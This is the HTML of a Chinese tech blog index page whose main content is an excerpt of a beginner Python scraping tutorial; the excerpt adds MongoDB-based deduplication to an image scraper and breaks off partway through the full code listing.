<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
  <meta name="theme-color" content="#222">
  <meta name="generator" content="Hexo 4.2.1">
  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/safari-pinned-tab.svg" color="#222">
  <link rel="stylesheet" href="/css/main.css">
  <link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">
  <link rel="stylesheet" href="/lib/pace/pace-theme-minimal.min.css">
  <script src="/lib/pace/pace.min.js"></script>
  <script id="hexo-configurations">
    var NexT = window.NexT ||
    {};
    var CONFIG = {
      "hostname": "cuiqingcai.com",
      "root": "/",
      "scheme": "Pisces",
      "version": "7.8.0",
      "exturl": false,
      "sidebar":
      {
        "position": "right",
        "width": 360,
        "display": "post",
        "padding": 18,
        "offset": 12,
        "onmobile": false,
        "widgets": [
          {
            "type": "image",
            "name": "阿布云",
            "enable": false,
            "url": "https://www.abuyun.com/http-proxy/introduce.html",
            "src": "https://qiniu.cuiqingcai.com/88au8.jpg",
            "width": "100%"
      },
          {
            "type": "image",
            "name": "天验",
            "enable": true,
            "url": "https://tutorial.lengyue.video/?coupon=12ef4b1a-a3db-11ea-bb37-0242ac130002_cqx_850",
            "src": "https://qiniu.cuiqingcai.com/bco2a.png",
            "width": "100%"
      },
          {
            "type": "image",
            "name": "华为云",
            "enable": false,
            "url": "https://activity.huaweicloud.com/2020_618_promotion/index.html?bpName=5f9f98a29e2c40b780c1793086f29fe2&bindType=1&salesID=wangyubei",
            "src": "https://qiniu.cuiqingcai.com/y42ik.jpg",
            "width": "100%"
      },
          {
            "type": "image",
            "name": "张小鸡",
            "enable": false,
            "url": "http://www.zxiaoji.com/",
            "src": "https://qiniu.cuiqingcai.com/fm72f.png",
            "width": "100%"
      },
          {
            "type": "image",
            "name": "Luminati",
            "src": "https://qiniu.cuiqingcai.com/ikkq9.jpg",
            "url": "https://luminati-china.io/?affiliate=ref_5fbbaaa9647883f5c6f77095",
            "width": "100%",
            "enable": false
      },
          {
            "type": "image",
            "name": "IPIDEA",
            "url": "http://www.ipidea.net/?utm-source=cqc&utm-keyword=?cqc",
            "src": "https://qiniu.cuiqingcai.com/0ywun.png",
            "width": "100%",
            "enable": true
      },
          {
            "type": "tags",
            "name": "标签云",
            "enable": true
      },
          {
            "type": "categories",
            "name": "分类",
            "enable": true
      },
          {
            "type": "friends",
            "name": "友情链接",
            "enable": true
      },
          {
            "type": "hot",
            "name": "猜你喜欢",
            "enable": true
      }]
      },
      "copycode":
      {
        "enable": true,
        "show_result": true,
        "style": "mac"
      },
      "back2top":
      {
        "enable": true,
        "sidebar": false,
        "scrollpercent": true
      },
      "bookmark":
      {
        "enable": false,
        "color": "#222",
        "save": "auto"
      },
      "fancybox": false,
      "mediumzoom": false,
      "lazyload": false,
      "pangu": true,
      "comments":
      {
        "style": "tabs",
        "active": "gitalk",
        "storage": true,
        "lazyload": false,
        "nav": null,
        "activeClass": "gitalk"
      },
      "algolia":
      {
        "hits":
        {
          "per_page": 10
        },
        "labels":
        {
          "input_placeholder": "Search for Posts",
          "hits_empty": "We didn't find any results for the search: ${query}",
          "hits_stats": "${hits} results found in ${time} ms"
        }
      },
      "localsearch":
      {
        "enable": true,
        "trigger": "auto",
        "top_n_per_article": 10,
        "unescape": false,
        "preload": false
      },
      "motion":
      {
        "enable": false,
        "async": false,
        "transition":
        {
          "post_block": "bounceDownIn",
          "post_header": "slideDownIn",
          "post_body": "slideDownIn",
          "coll_header": "slideLeftIn",
          "sidebar": "slideUpIn"
        }
      },
      "path": "search.xml"
    };

  </script>
  <meta name="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
  <meta property="og:type" content="website">
  <meta property="og:title" content="静觅">
  <meta property="og:url" content="https://cuiqingcai.com/page/23/index.html">
  <meta property="og:site_name" content="静觅">
  <meta property="og:description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
  <meta property="og:locale" content="zh_CN">
  <meta property="article:author" content="崔庆才">
  <meta property="article:tag" content="崔庆才">
  <meta property="article:tag" content="静觅">
  <meta property="article:tag" content="PHP">
  <meta property="article:tag" content="Java">
  <meta property="article:tag" content="Python">
  <meta property="article:tag" content="Spider">
  <meta property="article:tag" content="爬虫">
  <meta property="article:tag" content="Web">
  <meta property="article:tag" content="Kubernetes">
  <meta property="article:tag" content="深度学习">
  <meta property="article:tag" content="机器学习">
  <meta property="article:tag" content="数据分析">
  <meta property="article:tag" content="网络">
  <meta property="article:tag" content="IT">
  <meta property="article:tag" content="技术">
  <meta property="article:tag" content="博客">
  <meta name="twitter:card" content="summary">
  <link rel="canonical" href="https://cuiqingcai.com/page/23/">
  <script id="page-configurations">
    // https://hexo.io/docs/variables.html
    CONFIG.page = {
      sidebar: "",
      isHome: true,
      isPost: false,
      lang: 'zh-CN'
    };

  </script>
  <title>静觅丨崔庆才的个人站点</title>
  <meta name="google-site-verification" content="p_bIcnvirkFzG2dYKuNDivKD8-STet5W7D-01woA2fc" />
  <noscript>
    <style>
      .use-motion .brand,
      .use-motion .menu-item,
      .sidebar-inner,
      .use-motion .post-block,
      .use-motion .pagination,
      .use-motion .comments,
      .use-motion .post-header,
      .use-motion .post-body,
      .use-motion .collection-header
      {
        opacity: initial;
      }

      .use-motion .site-title,
      .use-motion .site-subtitle
      {
        opacity: initial;
        top: initial;
      }

      .use-motion .logo-line-before i
      {
        left: initial;
      }

      .use-motion .logo-line-after i
      {
        right: initial;
      }

    </style>
  </noscript>
  <link rel="alternate" href="/atom.xml" title="静觅" type="application/atom+xml">
</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container">
    <div class="headband"></div>
    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner">
        <div class="site-brand-container">
          <div class="site-nav-toggle">
            <div class="toggle" aria-label="切换导航栏">
              <span class="toggle-line toggle-line-first"></span>
              <span class="toggle-line toggle-line-middle"></span>
              <span class="toggle-line toggle-line-last"></span>
            </div>
          </div>
          <div class="site-meta">
            <a href="/" class="brand" rel="start">
              <span class="logo-line-before"><i></i></span>
              <h1 class="site-title">静觅 <span class="site-subtitle"> 崔庆才的个人站点 </span>
              </h1>
              <span class="logo-line-after"><i></i></span>
            </a>
          </div>
          <div class="site-nav-right">
            <div class="toggle popup-trigger">
              <i class="fa fa-search fa-fw fa-lg"></i>
            </div>
          </div>
        </div>
        <nav class="site-nav">
          <ul id="menu" class="main-menu menu">
            <li class="menu-item menu-item-home">
              <a href="/" rel="section">首页</a>
            </li>
            <li class="menu-item menu-item-archives">
              <a href="/archives/" rel="section">文章列表</a>
            </li>
            <li class="menu-item menu-item-tags">
              <a href="/tags/" rel="section">文章标签</a>
            </li>
            <li class="menu-item menu-item-categories">
              <a href="/categories/" rel="section">文章分类</a>
            </li>
            <li class="menu-item menu-item-about">
              <a href="/about/" rel="section">关于博主</a>
            </li>
            <li class="menu-item menu-item-message">
              <a href="/message/" rel="section">给我留言</a>
            </li>
            <li class="menu-item menu-item-search">
              <a role="button" class="popup-trigger">搜索 </a>
            </li>
          </ul>
        </nav>
        <div class="search-pop-overlay">
          <div class="popup search-popup">
            <div class="search-header">
              <span class="search-icon">
                <i class="fa fa-search"></i>
              </span>
              <div class="search-input-container">
                <input autocomplete="off" autocapitalize="off" placeholder="搜索..." spellcheck="false" type="search" class="search-input">
              </div>
              <span class="popup-btn-close">
                <i class="fa fa-times-circle"></i>
              </span>
            </div>
            <div id="search-result">
              <div id="no-result">
                <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
              </div>
            </div>
          </div>
        </div>
      </div>
    </header>
    <div class="back-to-top">
      <i class="fa fa-arrow-up"></i>
      <span>0%</span>
    </div>
    <div class="reading-progress-bar"></div>
    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div class="content index posts-expand">
            <div class="carousel">
              <div id="wowslider-container">
                <div class="ws_images">
                  <ul>
                    <li><a target="_blank" href="https://cuiqingcai.com/5052.html"><img title="Python3网络爬虫开发实战教程" src="https://qiniu.cuiqingcai.com/ipy96.jpg" /></a></li>
                    <li><a target="_blank" href="https://t.lagou.com/fRCBRsRCSN6FA"><img title="52讲轻松搞定网络爬虫" src="https://qiniu.cuiqingcai.com/fqq5e.png" /></a></li>
                    <li><a target="_blank" href="https://brightdata.grsm.io/cuiqingcai"><img title="亮网络解锁器" src="https://qiniu.cuiqingcai.com/6qnb7.png" /></a></li>
                    <li><a target="_blank" href="https://cuiqingcai.com/4320.html"><img title="Python3网络爬虫开发视频教程" src="https://qiniu.cuiqingcai.com/bjrny.jpg" /></a></li>
                    <li><a target="_blank" href="https://cuiqingcai.com/5094.html"><img title="爬虫代理哪家强？十大付费代理详细对比评测出炉！" src="https://qiniu.cuiqingcai.com/nifs6.jpg" /></a></li>
                  </ul>
                </div>
                <div class="ws_thumbs">
                  <div>
                    <a target="_blank" href="#"><img src="https://qiniu.cuiqingcai.com/ipy96.jpg" /></a>
                    <a target="_blank" href="#"><img src="https://qiniu.cuiqingcai.com/fqq5e.png" /></a>
                    <a target="_blank" href="#"><img src="https://qiniu.cuiqingcai.com/6qnb7.png" /></a>
                    <a target="_blank" href="#"><img src="https://qiniu.cuiqingcai.com/bjrny.jpg" /></a>
                    <a target="_blank" href="#"><img src="https://qiniu.cuiqingcai.com/nifs6.jpg" /></a>
                  </div>
                </div>
                <div class="ws_shadow"></div>
              </div>
            </div>
            <link rel="stylesheet" href="/lib/wowslide/slide.css">
            <script src="/lib/wowslide/jquery.min.js"></script>
            <script src="/lib/wowslide/slider.js"></script>
            <script>
              jQuery("#wowslider-container").wowSlider(
              {
                effect: "cube",
                prev: "",
                next: "",
                duration: 20 * 100,
                delay: 20 * 100,
                width: 716,
                height: 297,
                autoPlay: true,
                playPause: true,
                stopOnHover: false,
                loop: false,
                bullets: 0,
                caption: true,
                captionEffect: "slide",
                controls: true,
                onBeforeStep: 0,
                images: 0
              });

            </script>
            <article itemscope itemtype="http://schema.org/Article" class="post-block index" lang="zh-CN">
              <link itemprop="mainEntityOfPage" href="https://cuiqingcai.com/3314.html">
              <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
                <meta itemprop="image" content="/images/avatar.png">
                <meta itemprop="name" content="崔庆才">
                <meta itemprop="description" content="崔庆才的个人站点，记录生活的瞬间，分享学习的心得。">
              </span>
              <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
                <meta itemprop="name" content="静觅">
              </span>
              <header class="post-header">
                <h2 class="post-title" itemprop="name headline">
                  <a class="label"> Python <i class="label-arrow"></i>
                  </a>
                  <a href="/3314.html" class="post-title-link" itemprop="url">小白爬虫第三弹之去重去重</a>
                </h2>
              </header>
              <div class="post-body" itemprop="articleBody">
                <div class="thumb">
                  <img itemprop="contentUrl" class="random">
                </div>
                <div class="excerpt">
                  <p>
                  <p><a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022193315.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161022193315.gif" alt="QQ图片20161022193315"></a> 好了！开头要说点啥，我想你们已经知道了！ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021224219.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021224219.gif" alt="QQ图片20161021224219"></a> 没错！我又来装逼了·· 前面两篇博文，不知道大家消化得怎么了。不知道各位有没注意到，前面两篇博文完成的工作，只能保证下载；你电脑不能关机，不能断网，总之不能出意外！否则啊！！！ ！！！！你就得重头开始啊！！！！ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/20160124759183737.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/20160124759183737.gif" alt="20160124759183737"></a> 今天，我们来想想办法让它不重头下载；我们来记录我们已经下载过的地址！ヾ(＠⌒ー⌒＠)ノ这样就可以实现不重新下载啦！ 本来刚开始我是准备用本地txt来记录的，不过仔细一想用本地txt逼格不够啊！要不用MySQL吧！然后我自己就用了MySQL。 <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/QQ图片20161102215153.jpg" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/QQ图片20161102215153.jpg" alt="QQ图片20161102215153"></a> 然而你以为我会在这教程里面用MySQL嘛！哈哈哈！我们来用MongoDB！！这数据库最近很火啊！逼格直线提升啊！哈哈哈！<a href="https://www.mongodb.com" target="_blank" rel="noopener">点我去官网下载</a> 安装mongoDB: <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/123.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/123.gif" alt="123"></a> 在C盘建一个用来存储数据的文件夹 MongoDB； 创建以下两个目录： C:\data\log\mongod.log 存储日志 C:\data\db 存储数据 在C:\MongoDB文件夹下面创建一个mongod.cfg的配置文件写入以下配置： 一定要取消隐藏后缀名，不然更改不会生效！</p>
                  <figure class="highlight less">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="attribute">systemLog</span>:</span><br><span class="line"> <span class="attribute">destination</span>: file</span><br><span class="line"> <span class="attribute">path</span>: <span class="attribute">C</span>:\data\log\mongod.log</span><br><span class="line"><span class="attribute">storage</span>:</span><br><span class="line"> <span class="attribute">dbPath</span>: <span class="attribute">C</span>:\data\db</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>在管理员权限的cmd 中执行以下命令将mongoDB安装成服务:</p>
                  <figure class="highlight taggerscript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">"C:<span class="symbol">\m</span>ongodb<span class="symbol">\b</span>in<span class="symbol">\m</span>ongod.exe" --config "C:<span class="symbol">\m</span>ongodb<span class="symbol">\m</span>ongod.cfg" --install</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p> <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/安装服务.gif" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/安装服务.gif" alt="安装服务"></a> <strong>上面两张图片是GIF点击是可以看到过程的哦！！！ヾ(=ﾟ･ﾟ=)ﾉ喵♪</strong> 服务器安装完了，CMD启动一下： <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/验证是否安装成功.png" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/11/验证是否安装成功.png" alt="验证是否安装成功"></a> 搞定！ 好啦！数据库装完了，我们来接着上一篇博文的内容继续啦！ 保险起见建议大家还是看一下MongoDB的基础（只需要知道那些命令是做了啥，这样就好啦！） 首先我们我们这一次需要一个模块 PyMongo；这是Python用来操作MongoDB的模块，不要担心使用起来很简单的！</p>
                  <figure class="highlight cmake">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">pip <span class="keyword">install</span> PyMongo</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>现在我们在上一篇博文完成的代码中导入模块：</p>
                  <figure class="highlight angelscript">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> pymongo <span class="keyword">import</span> MongoClient</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p><strong>第一步：</strong> 在class mzitu(): 下面添加这样一个函数：</p>
                  <figure class="highlight ruby">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(<span class="keyword">self</span>)</span></span><span class="symbol">:</span></span><br><span class="line">    client = MongoClient() <span class="comment">##与MongDB建立连接（这是默认连接本地MongDB数据库）</span></span><br><span class="line">    db = client[<span class="string">'meinvxiezhenji'</span>] <span class="comment">## 选择一个数据库</span></span><br><span class="line">    <span class="keyword">self</span>.meizitu_collection = db[<span class="string">'meizitu'</span>] <span class="comment">##在meizixiezhenji这个数据库中，选择一个集合</span></span><br><span class="line">    <span class="keyword">self</span>.title = <span class="string">''</span> <span class="comment">##用来保存页面主题</span></span><br><span class="line">    <span class="keyword">self</span>.url = <span class="string">''</span> <span class="comment">##用来保存页面地址</span></span><br><span class="line">    <span class="keyword">self</span>.img_urls = [] <span class="comment">##初始化一个 列表 用来保存图片地址</span></span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>好啦！第一步搞定， <strong>第二步：</strong> 我们更改一下def all_url函数：</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">all_url</span><span class="params">(self, url)</span>:</span></span><br><span class="line">    html = down.get(url, <span class="number">3</span>) </span><br><span class="line">    all_a = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>)</span><br><span class="line">    <span class="keyword">for</span> a <span class="keyword">in</span> all_a:</span><br><span class="line">        title = a.get_text()</span><br><span class="line">        self.title = title <span class="comment">##将主题保存到self.title中</span></span><br><span class="line">        print(<span class="string">u'开始保存：'</span>, title)</span><br><span class="line">        path = str(title).replace(<span class="string">"?"</span>, <span class="string">'_'</span>)</span><br><span class="line">        self.mkdir(path)</span><br><span class="line">        os.chdir(<span class="string">"D:\mzitu\\"</span>+path)</span><br><span class="line">        href = a[<span class="string">'href'</span>]</span><br><span class="line">        self.url = href <span class="comment">##将页面地址保存到self.url中</span></span><br><span class="line">        <span class="keyword">if</span> self.meizitu_collection.find_one(&#123;<span class="string">'主题页面'</span>: href&#125;):  <span class="comment">##判断这个主题是否已经在数据库中、不在就运行else下的内容，在则忽略。</span></span><br><span class="line">            print(<span class="string">u'这个页面已经爬取过了'</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            self.html(href)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p><strong>第三步：</strong> 我们来改一下 def html这个函数：</p>
                  <figure class="highlight routeros">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line">def html(self, href):</span><br><span class="line">    html = down.<span class="builtin-name">get</span>(href, 3)</span><br><span class="line">    max_span = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find_all(<span class="string">'span'</span>)[10].get_text()</span><br><span class="line">    page_num = 0  ##这个当作计数器用 （用来判断图片是否下载完毕）</span><br><span class="line">    <span class="keyword">for</span><span class="built_in"> page </span><span class="keyword">in</span> range(1, int(max_span) + 1):</span><br><span class="line">        page_num = page_num + 1 ##每<span class="keyword">for</span>循环一次就+1  （当page_num等于max_span的时候，就证明我们的在下载最后一张图片了）</span><br><span class="line">        page_url = href + <span class="string">'/'</span> + str(page)</span><br><span class="line">        self.img(page_url, max_span, page_num)  ##把上面我们我们需要的两个变量，传递给下一个函数。</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>第四步： 我们来改一下def img 这个函数：</p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">img</span><span class="params">(self, page_url, max_span, page_num)</span>:</span> <span class="comment">##添加上面传递的参数</span></span><br><span class="line">    img_html = down.get(page_url, <span class="number">3</span>)</span><br><span class="line">    img_url = BeautifulSoup(img_html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'main-image'</span>).find(<span class="string">'img'</span>)[<span class="string">'src'</span>]</span><br><span class="line">    self.img_urls.append(img_url) <span class="comment">##每一次 for page in range(1, int(max_span) + 1)获取到的图片地址都会添加到 img_urls这个初始化的列表</span></span><br><span class="line">    <span class="keyword">if</span> int(max_span) == page_num: <span class="comment">##我们传递下来的两个参数用上了 当max_span和Page_num相等时，就是最后一张图片了，最后一次下载图片并保存到数据库中。</span></span><br><span class="line">        self.save(img_url)</span><br><span class="line">        post = &#123;  <span class="comment">##这是构造一个字典，里面有啥都是中文，很好理解吧！</span></span><br><span class="line">            <span class="string">'标题'</span>: self.title,</span><br><span class="line">            <span class="string">'主题页面'</span>: self.url,</span><br><span class="line">            <span class="string">'图片地址'</span>: self.img_urls,</span><br><span class="line">            <span class="string">'获取时间'</span>: datetime.datetime.now()</span><br><span class="line">        &#125;</span><br><span class="line">        self.meizitu_collection.save(post) <span class="comment">##将post中的内容写入数据库。</span></span><br><span class="line">        print(<span class="string">u'插入数据库成功'</span>)</span><br><span class="line">    <span class="keyword">else</span>:  <span class="comment">##max_span 不等于 page_num执行这下面</span></span><br><span class="line">        self.save(img_url)</span><br></pre>
                        </td>
                      </tr>
                    </table>
                  </figure>
                  <p>self.meizitu<em>collection.save(post) 这个是怎么来的我要说一下，可能有点迷糊： def <em>_init</em></em>(self): 函数中： client = MongoClient() db = client[‘meinvxiezhenji’] self.meizitu_collection = db[‘meizitu’] 所以意思就是：在meizixiezhenji这个数据库中的meizitu这个集合保存post这个字典里面的数据哦！这么解释懂了吧？ヾ(＠⌒ー⌒＠)ノ <a href="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021223818.jpg" target="_blank" rel="noopener"><img src="http://qiniu.cuiqingcai.com/wp-content/uploads/2016/10/QQ图片20161021223818.jpg" alt="QQ图片20161021223818"></a> 好了、一个可以实现去重的爬虫就实现了！φ(゜▽゜<em>)♪是不是好简单 哈哈哈 顺带还存储了一堆信息（才不会告诉你们这才是我需要的呢） 好了 完整的代码贴上来了！ <em>*PS:需要先说一下MongDB是不需要先建数据库和集合的，会自动判断 存在则直接写入数据，不存在 则先创建需要的数据库和集合，再写入数据（是不是超爽？哈哈哈）</em></em></p>
                  <figure class="highlight python">
                    <table>
                      <tr>
                        <td class="gutter">
                          <pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre>
                        </td>
                        <td class="code">
                          <pre><span class="line"><span class="keyword">from</span> bs4 <span class="keyword">import</span> BeautifulSoup</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">from</span> Download <span class="keyword">import</span> down <span class="comment">##导入模块变了一下</span></span><br><span class="line"><span class="keyword">from</span> pymongo <span class="keyword">import</span> MongoClient</span><br><span class="line"><span class="keyword">import</span> datetime</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">mzitu</span><span class="params">()</span>:</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line">        client = MongoClient() <span class="comment">##与MongDB建立连接（这是默认连接本地MongDB数据库）</span></span><br><span class="line">        db = client[<span class="string">'meinvxiezhenji'</span>] <span class="comment">## 选择一个数据库</span></span><br><span class="line">        self.meizitu_collection = db[<span class="string">'meizitu'</span>] <span class="comment">##在meizixiezhenji这个数据库中，选择一个集合</span></span><br><span class="line">        self.title = <span class="string">''</span> <span class="comment">##用来保存页面主题</span></span><br><span class="line">        self.url = <span class="string">''</span> <span class="comment">##用来保存页面地址</span></span><br><span class="line">        self.img_urls = [] <span class="comment">##初始化一个 列表  用来保存图片地址</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">all_url</span><span class="params">(self, url)</span>:</span></span><br><span class="line">        html = down.get(url, <span class="number">3</span>)</span><br><span class="line">        all_a = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'all'</span>).find_all(<span class="string">'a'</span>)</span><br><span class="line">        <span class="keyword">for</span> a <span class="keyword">in</span> all_a:</span><br><span class="line">            title = a.get_text()</span><br><span class="line">            self.title = title <span class="comment">##将主题保存到self.title中</span></span><br><span class="line">            print(<span class="string">u'开始保存：'</span>, title)</span><br><span class="line">            path = str(title).replace(<span class="string">"?"</span>, <span class="string">'_'</span>)</span><br><span class="line">            self.mkdir(path)</span><br><span class="line">            os.chdir(<span class="string">"D:\mzitu\\"</span>+path)</span><br><span class="line">            href = a[<span class="string">'href'</span>]</span><br><span class="line">            self.url = href <span class="comment">##将页面地址保存到self.url中</span></span><br><span class="line">            <span class="keyword">if</span> self.meizitu_collection.find_one(&#123;<span class="string">'主题页面'</span>: href&#125;):  <span class="comment">##判断这个主题是否已经在数据库中、不在就运行else下的内容，在则忽略。</span></span><br><span class="line">                print(<span class="string">u'这个页面已经爬取过了'</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                self.html(href)</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">html</span><span class="params">(self, href)</span>:</span></span><br><span class="line">        html = down.get(href, <span class="number">3</span>)</span><br><span class="line">        max_span = BeautifulSoup(html.text, <span class="string">'lxml'</span>).find_all(<span class="string">'span'</span>)[<span class="number">10</span>].get_text()</span><br><span class="line">        page_num = <span class="number">0</span>  <span class="comment">##这个当作计数器用 （用来判断图片是否下载完毕）</span></span><br><span class="line">        <span class="keyword">for</span> page <span class="keyword">in</span> range(<span class="number">1</span>, int(max_span) + <span class="number">1</span>):</span><br><span class="line">            page_num = page_num + <span class="number">1</span> <span class="comment">##每for循环一次就+1  （当page_num等于max_span的时候，就证明我们的在下载最后一张图片了）</span></span><br><span class="line">            page_url = href + <span class="string">'/'</span> + str(page)</span><br><span class="line">            self.img(page_url, max_span, page_num)  <span class="comment">##把上面我们我们需要的两个变量，传递给下一个函数。</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">img</span><span class="params">(self, page_url, max_span, page_num)</span>:</span> <span class="comment">##添加上面传递的参数</span></span><br><span class="line">        img_html = down.get(page_url, <span class="number">3</span>)</span><br><span class="line">        img_url = BeautifulSoup(img_html.text, <span class="string">'lxml'</span>).find(<span class="string">'div'</span>, class_=<span class="string">'main-image'</span>).find(<span class="string">'img'</span>)[<span class="string">'src'</span>]</span><br><span class="line">        self.img_urls.append(img_url) <span class="comment">##每一次 for page in range(1, int(max_span) + 1)获取到的图片地址都会添加到 